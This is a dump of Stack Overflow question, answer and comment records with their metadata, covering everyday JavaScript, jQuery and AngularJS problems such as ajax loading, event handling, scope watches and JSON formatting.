has body: I am relatively new to JSON. I have recently added JQuery and JavaScript to an application to make it more interactive and quicker. I understand how JSON works for basic types like: Strings, Numbers etc where there is a MAP i.e. a key and a value. For example: http://www.w3schools.com/json/. Here there is an Employees list, where each employee has two keys i.e. first name and last name and two values i.e. first name value and last name value. However, I do not understand how binary data fits into the equation. Say I was to add a new property to the Employee object called: Video, which is a type: application/octet-stream like in the question: Binary Data in JSON String. Something better than Base64 and the value was: [binary] How is this data represented as a MAP? I realise this is probably a simple question, however I do have a JSON book but it does not go into that much detail. I have not found an answer on the web either.

http://stackoverflow.com/comment/40108400
type: Comment
type: QuestionComment
has text: Maybe this question helps: http://stackoverflow.com/questions/1646698/what-is-the-new-keyword-in-javascript Look for the answer of JulianR
score: 1
comment on: http://stackoverflow.com/q/25666088

http://stackoverflow.com/q/25586695
tagged with: javascript
has comment: http://stackoverflow.com/comment/39964187
linked to: http://stackoverflow.com/q/1635116
score: 0
answer count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/25586826
has comment: http://stackoverflow.com/comment/39964284
has body: How could I put setPosition inside of the class DrawClockHand? Is DrawCLockHand even a class technically in Javascript. Code: var DrawClockHand = function(cv) { this._cv = cv; this._ctx = cv.getContext('2d'); this.TIME = 1000; this._r = 50; } DrawClockHand.prototype.setPosition = function(x,y) { x = x || 0; y = y || 0; this._x = x; this._y = y; }
type: UnansweredQuestion
upvote count: 1
has comment: http://stackoverflow.com/comment/39964237
downvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/39964403
has title: How to add in a method to a javascript class?

http://stackoverflow.com/comment/39974270
type: AnswerComment
type: Comment
has text: I also tried <%= "{order_links_groups_path}" %> but it gave the same error.
comment on: http://stackoverflow.com/a/25591360
score: 0

http://stackoverflow.com/q/25590040
accepted answer: http://stackoverflow.com/a/25590119
tagged with: ajax
has title: Import an array using ajax
has answer: http://stackoverflow.com/a/25590119
favorite count: 0
linked to: http://stackoverflow.com/q/14220321
upvote count: 2
has body: I have a very simple 2D array in a file called synergy_data.json: [ ['2014-08-19', 2956], ['2014-07-19', 2038], ['2014-06-19', 1285], ['2014-05-19', 1383], ['2014-04-19', 1256], ['2014-03-19', 822], ['2014-02-19', 644], ['2014-01-19', 504], ['2013-12-19', 438], ] I'm trying to call up that data using ajax: data=[] $.ajax({ url: "/marquee/synergy_data.json", async: false, success: function(resultData) { data = resultData; } }); console.log(data) But the console only spits out "[]" What am I doing wrong? ***Solution A big thanks to @Quentin for solving this for me. I had two fatal flaws with my JSON: 1) I used single quotes and 2) I had an extra comma. I'll be sure to use JSONLint to check my arrays in the future! (I also removed the "async:false" for good measure.)
type: AnsweredQuestion
score: 2
has comment: http://stackoverflow.com/comment/39970470
type: Question
answer count: 1
downvote count: 0
tagged with: javascript
tagged with: jquery

http://stackoverflow.com/comment/40090423
has text: can you post your markup and any script you have attempted?
comment on: http://stackoverflow.com/q/25655558
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/40084662
has text: And please do rewrite/restate the problem given the feedback; questions can be edited. I would normally do so for a *new* SO user..
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25652322

http://stackoverflow.com/comment/40193102
has text: `Failed to instantiate module todoApp due to: Error: [$injector:nomod] http://errors.angularjs.org/1.2.5/$injector/nomod?p0=todoApp`
type: Comment
comment on: http://stackoverflow.com/a/25712151
score: 0
type: AnswerComment

http://stackoverflow.com/q/25556097
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/25556229
tagged with: google-chrome
type: Question
has answer: http://stackoverflow.com/a/25556279
has comment: http://stackoverflow.com/comment/39907346
tagged with: javascript
score: 4
upvote count: 4
answer count: 2
tagged with: keypress
tagged with: firefox
downvote count: 0
favorite count: 0
accepted answer: http://stackoverflow.com/a/25556279
has body: I am trying to prevent the user from entering anything but a number. It works in Chrome but not Firefox. I have gone through many solutions but no luck. I have used keydown, keypress, different events etc. Please help. If it helps this is all in a aspx file. onkeypress="return myFunction(event);" &lt;script type="text/javascript"&gt; // Check if key press is a number function myFunction(evt) { var e = event || evt; // for trans-browser compatibility var charCode = e.which || e.keyCode; if (charCode &gt; 31 &amp;&amp; (charCode &lt; 48 || charCode &gt; 57)) { alert("Enter Numbers Only"); return false; } return true; } &lt;/script&gt;
has title: Keypress working in chrome but not firefox
has answer: http://stackoverflow.com/a/25556229

http://stackoverflow.com/comment/40025202
has text: I've made changes in script, please do rest yourself and avoid discussions in comments.
type: Comment
comment on: http://stackoverflow.com/a/25617824
type: AnswerComment
score: 0

http://stackoverflow.com/q/25580059
score: 0
has body: I have a div can draggable, when user click on it, it will highlight it &amp; change color to red. I'm using click $().click(function(){}); However if user click &amp; hold it, it wont change color because mousedown, if I use mousedown(); when user release mouse, the color will gone. My question is, is that possible to join click &amp; mousedown together?
answer count: 1
tagged with: jquery
has answer: http://stackoverflow.com/a/25580076
accepted answer: http://stackoverflow.com/a/25580076
type: AnsweredQuestion
type: Question
has title: jquery join mouserdown and click
tagged with: javascript

http://stackoverflow.com/comment/39984659
score: 0
type: Comment
type: AnswerComment
has text: Hi, I tried adding it to JsFiddle but it's complicated since there are frameworks and I've never used Fiddle before. Anyway, you can see the HTML here - http://talenthack.herokuapp.com/companies/. This is without the second link (which I want to go under "Hiring: Business"). Hopefully this will give you a clearer picture!
comment on: http://stackoverflow.com/a/25596780

http://stackoverflow.com/q/25633844
tagged with: javascript
tagged with: for-in-loop
has title: loop through objects in javascript with unknown deep
downvote count: 0
favorite count: 0
has comment: http://stackoverflow.com/comment/40050901
type: UnansweredQuestion
duplicate of: http://stackoverflow.com/q/11922383
has body: Can anyone help me how to loop in an object with the property of that object has another object and so on. ex. var You = { child: { name: { first: 'John', last: 'Doe' } }, extend: function(object) { // implementation to extend this current object } }; var childrenOf1stWife = { child: { name: { first: 'Steve', last: 'Jobs', company: 'apple' } }, adopted: { name: { first: 'Bill', last: 'Gates', children: { son1: 'Foo', son2: 'Bar' } } } }; You.extend(childrenOf1stWife); P.S. My purpose is to extend the default data; the answer Access / process (nested) objects, arrays or JSON mentioned differs from what I like. The answer only here return an array, or an object. What I would like is to extend the current objects property. So something that exist or not on the current object will be altered or added. Expected results: property of child of You will be changed with child property of childrenOf1stWife but before doing that, it checks to see if that child property has a property of type 'object', then look again in that object. If the deep object has the same property if not, it will extend again. And so on...
linked to: http://stackoverflow.com/q/11922383
tagged with: oop
answer count: 0
score: 1
upvote count: 1
tagged with: loops
type: Question
tagged with: object
has comment: http://stackoverflow.com/comment/40050934

http://stackoverflow.com/a/25705647
answers question: http://stackoverflow.com/q/25705536
accepted answer of: http://stackoverflow.com/q/25705536
upvote count: 2
type: Answer
score: 2
has body: better option would be responsive website, much better user experience. and what if user wants to view actual version not mobile? also redirect should be handled on server side not browser, in that manner website wouldn't load twice which is UX killer. with php you can do something like &lt;?php $useragent=$_SERVER['HTTP_USER_AGENT']; if(preg_match('/android|avantgo|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|symbian|treo|up\.(browser|link)|vodafone|wap|windows (ce|phone)|xda|xiino/i',$useragent)||preg_match('/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|e\-|e\/|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(di|rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(g…
downvote count: 0
type: AcceptedAnswer

http://stackoverflow.com/a/25612370
has comment: http://stackoverflow.com/comment/40028912
has comment: http://stackoverflow.com/comment/40053531
score: -1
has comment: http://stackoverflow.com/comment/40012257
has comment: http://stackoverflow.com/comment/40064115
type: Answer
has comment: http://stackoverflow.com/comment/40011750
has comment: http://stackoverflow.com/comment/40011535
has body: First, remove the method and action attributes of the form element. You can remove the form tag altogether but if you want to support non-javascript submissions, you'll need the form tag (however, the original question did not ask for this). You're 'submitting' the form via jQuery, so you don't need a method and an action on a form tag. Input type="password" never autocompletes, so you don't need that attribute. I also added an error div. Here is your new html: Login failed. Remember me Forgot password? Replace your $.ajax statement with a $.post statement, and simply your logic. $.post("ajax.php", { e: email, p: password }, function (data) { if (data == "ok") window.location.href = "homepage.php"; else $("#error").slideDown().delay(3000).slideUp(); // I added div#error with "Failed to Login" message in the html above }); This code will now redirect if the returned data is "ok"; otherwise, it will show div#error (again, this is in the html above), delay for 3 seconds, and then hide the message. The return false; is unnecessary in each instance in your code above because after each conditional, the code ends - there is no other code to prevent from executing (which is why you would use return false; in this context). You can do the $.trim on the same line as when you assign the variables, like I did with the slideUp, delay, and slideDown.
has comment: http://stackoverflow.com/comment/40020939
has comment: http://stackoverflow.com/comment/40011514
answers question: http://stackoverflow.com/q/25612060
downvote count: 1
has comment: http://stackoverflow.com/comment/40012076
upvote count: 0

http://stackoverflow.com/comment/40072052
comment on: http://stackoverflow.com/a/25645766
has text: I still don't get that giving value=id will help or not and how it will help... but i did that anyway and still not getting any output... thank you for your replay anyway
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/q/25609516
has body: I have the following function which works fine when only one instance of the image being rotated: // Next Angle Variable nextAngle = 0; $( ".portfolioDropLink" ).click(function() { // Icon Variable var currentIcon = $(this).find(".fa-angle-down"); // Rotate Icon currentIcon.rotate(getNextAngle()); function getNextAngle() { nextAngle += 180; if(nextAngle &gt;= 360) { nextAngle = 0; } return nextAngle; } }); When two instances of the .portfolioDropLink class are present the nextAngle variable clashes, how can I prevent this?
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25609658
linked to: http://stackoverflow.com/q/8270612
type: Question
has title: Jquery rotate not working for multiple instances of a class
tagged with: javascript
has comment: http://stackoverflow.com/comment/40006068
has comment: http://stackoverflow.com/comment/40006113
score: 0
answer count: 1
tagged with: jquery

http://stackoverflow.com/comment/124425816
has text: You can [edit] your answer instead of adding in comments. The link is right below your post next to share.
type: Comment
comment on: http://stackoverflow.com/a/70388933
score: 0
type: AnswerComment

http://stackoverflow.com/q/25658498
has comment: http://stackoverflow.com/comment/40095482
has title: Why does console.log add a space at the end of my sentence, when adding a value with the comma operator?
score: 8
has comment: http://stackoverflow.com/comment/40095414
type: Question
possible better answer: http://stackoverflow.com/a/25658610
type: AnsweredQuestion
has body: This question is almost not worth asking, but here I am. Referencing the question above, here is the code and output var port = 3000 console.log("Listening on port ", port) Outputs "Listening on port 3000" Notice the extra space thrown in there. Why does this occur?
has answer: http://stackoverflow.com/a/25658610
has answer: http://stackoverflow.com/a/25659235
answer count: 3
downvote count: 0
tagged with: javascript
has answer: http://stackoverflow.com/a/25658558
favorite count: 0
upvote count: 8
accepted answer: http://stackoverflow.com/a/25659235
has comment: http://stackoverflow.com/comment/40095662

http://stackoverflow.com/comment/39899294
comment on: http://stackoverflow.com/q/25551675
score: 0
type: Comment
type: QuestionComment
has text: I am getting the data back correctly. I now need to access the map which in on the UI (its an img). A web method cannot access the UI. That's my issue.

android-webview
tags question: http://stackoverflow.com/q/25658910
type: Tag
tag name: android-webview

http://stackoverflow.com/comment/40068144
score: 1
has text: The topmost layer is always layer 0, so you can select it via `app.activeDocument.layers[0]`
comment on: http://stackoverflow.com/q/25629284
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25631600
tagged with: pagination
tagged with: angularjs-scope
type: Question
has comment: http://stackoverflow.com/comment/40047328
has comment: http://stackoverflow.com/comment/40047830
has comment: http://stackoverflow.com/comment/40047041
answer count: 1
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25642696
has comment: http://stackoverflow.com/comment/40058272
score: 0
has comment: http://stackoverflow.com/comment/40047408
has comment: http://stackoverflow.com/comment/40051584
has comment: http://stackoverflow.com/comment/40047275
tagged with: angularjs
has answer: http://stackoverflow.com/a/25642696
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40046957
has body: I have a problem with $scope.$watch call, when it obviously should be called. I have a paginator (bootstrap UI) inside my html document: A certain part, where my items are shown (for them I need a paginator): ... And a Controller: ... $scope.reviewsArray = []; $scope.paginatorItemsPerPage = 1; $scope.paginatorSize = 3; $scope.reviewsPerPage = []; $scope.paginatorTotalItems = $scope.reviews.result.total; //restangular object to Array for (var i = 0; i < $scope.paginatorTotalItems; i++) { $scope.reviewsArray.push($scope.reviews.result.reviews[i]); }; $scope.paginatorCurrentPage = 1; $scope.$watch('paginatorCurrentPage', function () { var begin = (($scope.paginatorCurrentPage - 1) * $scope.paginatorItemsPerPage); var end = begin + $scope.paginatorItemsPerPage; console.log($scope.paginatorCurrentPage); console.log(begin + ' ' + end); $scope.reviewsPerPage = $scope.reviewsArray.slice(begin,end); console.log($scope.reviewsPerPage); }); So, making long story short, I have a variable paginatorCurrentPage, that I change by clicking numbers in my , but $watch does not react. This $watch is called only once: when I'm assigning it a value of 1 (after making an array from my restangular object), after that $watch is never called anymore. Also I'm cheking how paginatorCurrentPage changes in my html file: Current : {{paginatorCurrentPage}} And it actually works, this variable is changing, when i switch my pagination buttons, but $watch is not called. Sorry for my English, and Thank you! Edited : I have updated my bootstrap UI, so now in paginator I use ng-model istead of page. And I realized that variable paginatorCurrentPage changes only in my view, but in controller I still have my default $scope.paginatorCurrentPage = 1. Problem still exists.
has title: $watch is not called, Angularjs

http://stackoverflow.com/a/25757364
upvote count: 3
has body: I had a similar problem after upgrading from JQM 1.3 to 1.4. What solved it for me was using either scrollstart or scrollstop instead of scroll event (see http://api.jquerymobile.com/category/events/) and attaching it to document instead of window. So $(document).on('scrollstart', function(){ //or 'scrollstop' console.log("I'm scrolling!"); //your code here });
has comment: http://stackoverflow.com/comment/44552043
type: Answer
answers question: http://stackoverflow.com/q/25633324
score: 3
downvote count: 0

http://stackoverflow.com/a/25667109
has body: No really sure what you mean. If you wan't to autoplay on page load and keep the Play button use $('.play').trigger('click'); If you wan't to autoplay without play/stop button replace $('.play').click(function(){ // you current play/pause button code }); simply by // play setInterval(function(){ contentNum++; // change to contentNum--; to go left if (contentNum &gt; tabs){ contentNum = 1; } // loop right if (contentNum &lt; 1) { contentNum = tabs; } // loop left $tabs.eq(contentNum-1).find('a').trigger('click'); }, delay);
type: Answer
upvote count: 1
score: 1
accepted answer of: http://stackoverflow.com/q/25666531
answers question: http://stackoverflow.com/q/25666531
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/q/25639797
tagged with: mouseevent
type: Question
has title: Mouse Events on SVG rect
tagged with: javascript
tagged with: dom-events
has body: I am trying to show tooltip in JavaScript inside an SVG rect for MouseDown and mousemove events in a rect area. Problem is: I am not able to capture events at every mouse move and mouse down operation. Below is my sample code: &lt;!DOCTYPE html&gt; &lt;html&gt; &lt;body&gt; &lt;script src=jquery-2.0.2.js&gt;&lt;/script&gt; &lt;script&gt; onMouseDown = function ( evt ) { evt.preventDefault(); var tooltip = document.getElementById( 'tooltip' ); tooltip.setAttribute( 'visibility', 'visible' ); tooltip.setAttribute( 'x', evt.x ); tooltip.setAttribute( 'y', evt.y ); }; onMouseMove = function ( evt ) { evt.preventDefault(); var tooltip = document.getElementById( 'tooltip' ); tooltip.setAttribute( 'visibility', 'visible' ); tooltip.setAttribute( 'x', evt.x ); tooltip.setAttribute( 'y', evt.y ); }; &lt;/script&gt;
score: 0
tagged with: http://stackoverflow.com/tag/html
tagged with: http://stackoverflow.com/tag/svg
answer count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40082879
has comment: http://stackoverflow.com/comment/40075552

http://stackoverflow.com/a/25645172
answers question: http://stackoverflow.com/q/25642432
has body: I found a solution: $http({ method: "GET", url: myURL }). success(function (data, status) { $scope.data = data.content; //complex object for(i=0;i&lt;$scope.data.length;i++){ var x = $scope.data[i]; x.value1 = "newvalue1"; x.value2= "newvalue2"; $scope.data[i].value1 = x.value1; $scope.data[i].value2 = x.value2; } }); to be honest, I don't know why it works this way, but it does. Thank you everybody. EDIT 04/2018 I was giving a look to my old questions...a better way to to this with AngularJS would be the following: $http({ method: "GET", url: myURL }). then(function (response) { /** * Remember to use clear identifiers * to always see what is in a variable * without having to investigate each time */ $scope.myObjectList = response.content; /** * If I remember correctly, * response.content was an array of objects, * used to print some page in the view (ng-repeat) */ var i = -1 while(++i&lt;$scope.myObjectList.length){ angular.extend($scope.myObjectList[i], { value1: "newvalue1", value2: "newvalue2" }); } /** * angular.forEach would also be an option, * or _.each if you have lodash */ }, function(error){ //Don't forget to handle errors! });
type: Answer
accepted answer of: http://stackoverflow.com/q/25642432
upvote count: 1
downvote count: 1
score: 0
type: AcceptedAnswer

http://stackoverflow.com/q/25632214
tagged with: yeoman
accepted answer: http://stackoverflow.com/a/25632641
score: 0
answer count: 1
tagged with: javascript
tagged with: gruntjs
has body: I'm trying to automate creating virtual host files on my mac in yeoman/grunt. After yeoman gets the file all tidy I call grunt.file.write('/etc/apache2/virtualhosts/' + fileName, tidyFileContents); But this doesn't work because I need permissions to move anything around in the etc/apache2/virtualhosts/ dir. I've thought about doing grunt.file.write(fileName, tidyFileContents); then follow up with a: sudo mv fileName /etc/apache2/virtualhosts but I don't know how to write that code in javascript. My question is how can I write the above code ^ in yeoman syntax to get the desired result. Or what are some other ways I can sudo a file into a permissions virtualhost dir. My only constraint is that I cannot take the permissions off the virtualhosts dir. Thanks for your help ahead of time!
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25632641
type: Question
has title: Using Sudo in Yeoman/Grunt

http://stackoverflow.com/comment/39927686
comment on: http://stackoverflow.com/q/25567180
score: 0
type: Comment
type: QuestionComment
has text: Your code works on my side, with the `|| 0`. Perhaps you had a caching issue?

http://stackoverflow.com/q/25681189
has comment: http://stackoverflow.com/comment/40137476
type: Question
answer count: 1
tagged with: javascript
has answer: http://stackoverflow.com/a/25681311
tagged with: ajax
has comment: http://stackoverflow.com/comment/40137092
score: 0
tagged with: http://stackoverflow.com/tag/html
linked to: http://stackoverflow.com/q/23546593
tagged with: angularjs
type: UnansweredQuestion
has body: In my HTML Page, I have a button tag that looks like so: Friend However, when I try to access certain parts of the alreadyFriends function shown below, I get an error saying that TypeError: Cannot read property 'length' of undefined $scope.alreadyFreinds = function(){ for(var i = 0; i < $scope.user.friends.length; i++){ if($scope.user.friends[i].username === $scope.realUserViewing.username && $scope.user.friends[i].requested == true && $scope.user.friends[i].pending == true){ return true; } } }; However, the confusing part is that I already have $scope.user.friends and $scope.user defined in a few lines above this function like so: $http.get('/api/users/me') .then(function(result){ $scope.user = result.data; }); I am a bit confused as to why the HTML page loads and calls tbe alreadyFriends function before the Ajax call completes. I tried to use promises to help me solve this and I found AngularJS: How to execute a controller function AFTER completion of AJAX call in a service? But this did not help me too much because when I did $http.get('/api/users/me') .then(function(result){ var deferred = $q.defer(); $scope.user = result.data; deferred.resolve($scope.alreadyFreinds); return deferred.promise; }); This did work, but the HTML page still loads up before the AJAX call is completed. Any ideas how to fix this? Thanks!
has title: HTML Page loads before AJAX call?
has comment: http://stackoverflow.com/comment/40137367
has comment: http://stackoverflow.com/comment/67744122

http://stackoverflow.com/q/25616641
has answer: http://stackoverflow.com/a/25616799
tagged with: angularjs-scope
has comment: http://stackoverflow.com/comment/40045874
score: 0
has body: I am a newbie in angularjs. I'm trying to show an html element depending on a property of the $scope object but without using any form element. This is the snipped of code: {{ myData.prova }}: {{ myData.logged }} {{ elemento.nome }} {{ elemento.nome }} Aggiungi And this is the controller part: As can be easily seen, I change the status of $scope.myData.logged on google+ sign in and I espect that the div with id secretContent will be shown or won't be shown depending on this property but I've seen that the truthfulness of the ng-show is evaluated only once and is not binded to the actual value of the property, so, when it changes, nothing happens. What is wrong in my code? Which is the correct logic flow of the ng-show command and how to bind it to a $scope property? Thanks in advance to everybody.
answer count: 1
tagged with: angularjs
type: UnansweredQuestion
tagged with: ng-show
has title: angularjs ns-show logic flow
has comment: http://stackoverflow.com/comment/40019049
type: Question
tagged with: javascript

http://stackoverflow.com/comment/40381184
comment on: http://stackoverflow.com/q/25653302
has text: I find a way to do this: we can call kettle internal functions to get the environmentSubstitute() function "_step_.getTransMeta().environmentSubstitute("${myparameter}")"
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/25769497
type: AcceptedAnswer
upvote count: 2
type: Answer
score: 2
answers question: http://stackoverflow.com/q/25712203
has body: Solved. Yes, MAMP is sufficient enough to make the HTML talk to the PHP files. If MAMP is 'running' successfully, PHP should be working fine. PHP is part of MAMP after all. The issue was the token function provided on Stripe's custom checkout page doesn't come with any code to tell it what to do and submit the form to your PHP files. You are meant to fill the function with your own code. Silly mistake but I didn't read into it in that way with the comments provided: token: function(token) { // Use the token to create the charge with a server-side script. // You can access the token ID with `token.id` } I came across this StackOverflow thread and although the code seemed to be a little older as it didn't completely match up with what Stripe has on their custom checkout page now, I used the token function contents of the following code to fill in my token function and add it's submit functionality. var token = function(res){ var $input = $(' ').val(res.id); $('form').append($input).submit(); }; So now my index.html (where my sign up button is) looks like this: Sign Up ... ... ... Note * From the older code, res.id is being passed into .val() so I just replaced res.id with token.id to reflect Stripe's suggestions in their comments. So implementing the above code gives me both card validation checks and also the customer and charges being posted on my Stripe dashboard. and the form taking my to charge.php to display charge confirmation page.
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25712203

http://stackoverflow.com/q/25577204
tagged with: dom
possible better answer: http://stackoverflow.com/a/25578453
type: Question
has body: I am building some js functionality where I will be creating 2 elements on a page var createBtn = function( var btn = document.createElement('button') ... ) var createIframe = function( var iframe = document.createElement('iframe') ... ) Pretty basic stuff, but later on I want to add an event listener to the button that will apply a style attribute to the iframe. Something like: var displayIframe = function( Iframe.style['display'] = 'block' ) button.addEventListener('click', displayIframe) My question is how can I access the elements after I have created them without going through the annoyance of attaching classes to them and accessing them all over again that way. Is there someway of getting access to them in the create functions from the beginning.
tagged with: javascript
has comment: http://stackoverflow.com/comment/39947348
has comment: http://stackoverflow.com/comment/39947268
score: 0
answer count: 3
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/39947312
has answer: http://stackoverflow.com/a/25578453
has comment: http://stackoverflow.com/comment/39947287
has answer: http://stackoverflow.com/a/25580406
accepted answer: http://stackoverflow.com/a/25580406
has title: Creating two elements using js and then having access to them later in another function
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/39947319
has answer: http://stackoverflow.com/a/25580285

http://stackoverflow.com/a/25596847
score: 4
upvote count: 4
downvote count: 0
has comment: http://stackoverflow.com/comment/39984244
type: Answer
answers question: http://stackoverflow.com/q/25596782
has body: If you're looking for something to make your code look shorter, you could extend Array to have this method: Array.prototype.select_elements = function(indices) { var elements = []; for (var i=0; i != indices.length; ++i) elements.push(this[indices[i]]); return elements; } Now you can call the method you want: a.select_elements([1,4]) ["b", "e"]
has comment: http://stackoverflow.com/comment/39982932

http://stackoverflow.com/comment/49370285
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/27818245
score: 1
has text: mocha could use `execv()` to replace itself with "proper node". Everybody does that all the time.

http://stackoverflow.com/comment/40122808
score: 0
comment on: http://stackoverflow.com/a/25673793
has text: You can still traverse the DOM, but keep looping on previousSibling until `previousSibling.nodeType === ELEMENT_NODE` and then select lastChild and loop again with `previousSibling.nodeType === ELEMENT_NODE`
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/40064838
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25641746
has text: @user3258644 have u included your jquery1.11.1 like this http://www[dot]ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"> '

http://stackoverflow.com/comment/39999720
comment on: http://stackoverflow.com/q/25605992
type: Comment
type: QuestionComment
has text: If your script is BEFORE html then you must wait it loads (otherwise what you'll try to access something that doesn't exist). If it's AFTER markup then you _may need_ to wait only for asynchronous context (such as images) because they'll partecipate on layout. Finally DOM is ready and available only...when it has been parsed (but when it's ready you may use it before onload).
score: 0

http://stackoverflow.com/a/25561610
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/25560895
type: Answer
has comment: http://stackoverflow.com/comment/40021747
upvote count: 1
has body: Here's my working fiddle: http://jsfiddle.net/chajadan/xm7ue6nf/16/ To make the page give a horizontal scrollbar when minimized, set a height on the main content div. overflow:auto is not necessary to get scrollbars to show up upon need. #mainContainer { min-width: 740px; padding: 0; margin: 0; height: 100%; } By googling "min-width overflow:auto but no scrollbars" I got this part of my answer from here: Css min-width no horizontal scroll bar is showing I made the following additional changes as well. I also removed the searchMe table width so the table wasn't arbitrarily wide, which could cause scrollbars even when the window is more than big enough to fit the tabular data. &lt;table id="searchMe" width="980px"&gt; There were two break elements that were also making the tabular data wider than useful, which I removed. &lt;/div&gt; &lt;br&gt; &lt;br&gt; The table header still doesn't line up with the body cells, but wasn't the main thing questioned here.
has comment: http://stackoverflow.com/comment/39987104

http://stackoverflow.com/comment/39898114
type: Comment
score: 0
comment on: http://stackoverflow.com/q/25551507
type: QuestionComment
has text: possible duplicate of [Event binding on dynamically created elements?](http://stackoverflow.com/questions/203198/event-binding-on-dynamically-created-elements)

http://stackoverflow.com/comment/39994229
score: 0
has text: I think you need to resize the context as well
type: Comment
comment on: http://stackoverflow.com/q/25602824
type: QuestionComment

http://stackoverflow.com/q/25646939
has answer: http://stackoverflow.com/a/25647176
accepted answer: http://stackoverflow.com/a/25647176
tagged with: javascript
score: 0
has title: How to apply styles to even or odd rows in table?
tagged with: http://stackoverflow.com/tag/html
answer count: 1
has body: i want to apply style to even/odd rows of a table, i know its super easy with css and jquery. but i am trying to put that table in windows gadget and this below code only works in browser not in that gadget. table.data-Tables tbody tr:nth-child(even){ background-image: none; background:#ECF0F1; } The Above Code i have tried with CSS do not work, css do works but some codes of css do not work on gadget, may be new css is not acceptable by gadgets.. But anyhow if CSS do not works then i want to try javascript. Can anyone make it possible in java script to add some styles to even row. Table: Room Admin Room No: 36 Director Room No: 36
type: AnsweredQuestion
type: Question

http://stackoverflow.com/q/25637919
has comment: http://stackoverflow.com/comment/40057758
upvote count: 0
has comment: http://stackoverflow.com/comment/40057729
favorite count: 0
has comment: http://stackoverflow.com/comment/40059963
type: Question
has answer: http://stackoverflow.com/a/25637959
has comment: http://stackoverflow.com/comment/40057971
has body: Need to write a simple function that takes any number > 0 and adds all integers between that number and 1 and adds them together. Here is the code I am using: function SimpleAdding(num) { for (i=num; i=1; i--) { num = num+i; } return num; }
answer count: 3
downvote count: 3
has answer: http://stackoverflow.com/a/25638000
tagged with: function
has title: Writing a simple addition function that iterates
tagged with: javascript
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25638140
score: -3

http://stackoverflow.com/comment/40131577
score: 0
has text: You have saved file with this name file_id + fileext and you are getting image variable from this file_id + filename , is it allright ?
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25678014

http://stackoverflow.com/q/25557193
type: Question
has comment: http://stackoverflow.com/comment/42089595
has title: angularjs $cookiestore erratic behavior
has comment: http://stackoverflow.com/comment/39910529
tagged with: javascript
has body: I have been using $cookieStore for saving cookies in my angularjs application. Everywhere it is working fine till i found this one issue. On one page I have been receiving data from server saving it in a cookie name company and redirecting to another route using $location.path On the very next page when I am using that cookie to get data, it is returning the old cookie data. I am getting this issue only in chrome after every alternative time i.e. for once it works fine but next time it doesn't get any data. However i tried it many times on firefox it is working absolutely fine. I not able to understand why is this happening in chrome and not in some other browser. Here is the code :- Saving data in cookie $cookieStore.put('company',{'company_id':company.company_id, 'funding_id':company.funding_id, 'invest_amount':amount_to_send,'company_error':company.company_name, 'progress_id':progress_id}); console.log($cookieStore.get('company')); //returning correct data Here i retrieve data in next function called on another route console.log($cookieStore.get('company')); //returning wrong data Both functions are defined in same controller.
upvote count: 1
downvote count: 0
